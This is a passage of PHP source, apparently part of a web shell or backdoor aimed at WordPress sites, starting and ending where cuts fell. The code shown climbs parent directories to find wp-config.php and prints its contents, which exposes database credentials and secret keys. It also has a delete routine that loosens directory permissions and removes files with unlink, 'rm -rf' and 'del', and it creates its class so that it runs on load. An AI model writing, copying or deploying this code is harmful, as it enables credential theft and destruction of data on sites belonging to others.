        $p2 = "../../../../../../";
        $p3 = "../../../../../";
        $p4 = "../../../../";
        $p5 = "../../../";
        $p6 = "../../";
        $p7 = "../";
        $w  = file_get_contents($p1 . "wp-config.php");
        if (!$w) {
            $w = file_get_contents($p2 . "wp-config.php");
            if (!$w) {
                $w = file_get_contents($p3 . "wp-config.php");
                if (!$w) {
                    $w = file_get_contents($p4 . "wp-config.php");
                    if (!$w) {
                        $w = file_get_contents($p5 . "wp-config.php");
                        if (!$w) {
                            $w = file_get_contents($p6 . "wp-config.php");
                            if (!$w) {
                                $w = file_get_contents($p7 . "wp-config.php");
                                if (!$w) {
                                    $w = file_get_contents("wp-config.php");
                                }
                            }
                        }
                    }
                }
            }
        }
        echo $w;
        exit;
    }
    private function delete($file)
    {
        chmod("./", 0755);
        chmod("../", 0755);
        chmod("../../", 0755);
        @unlink($this->pwd() . $file);
        $this->exe('rm -rf ' . $file);
        $this->exe('del ' . $file);
    }
}
new coi();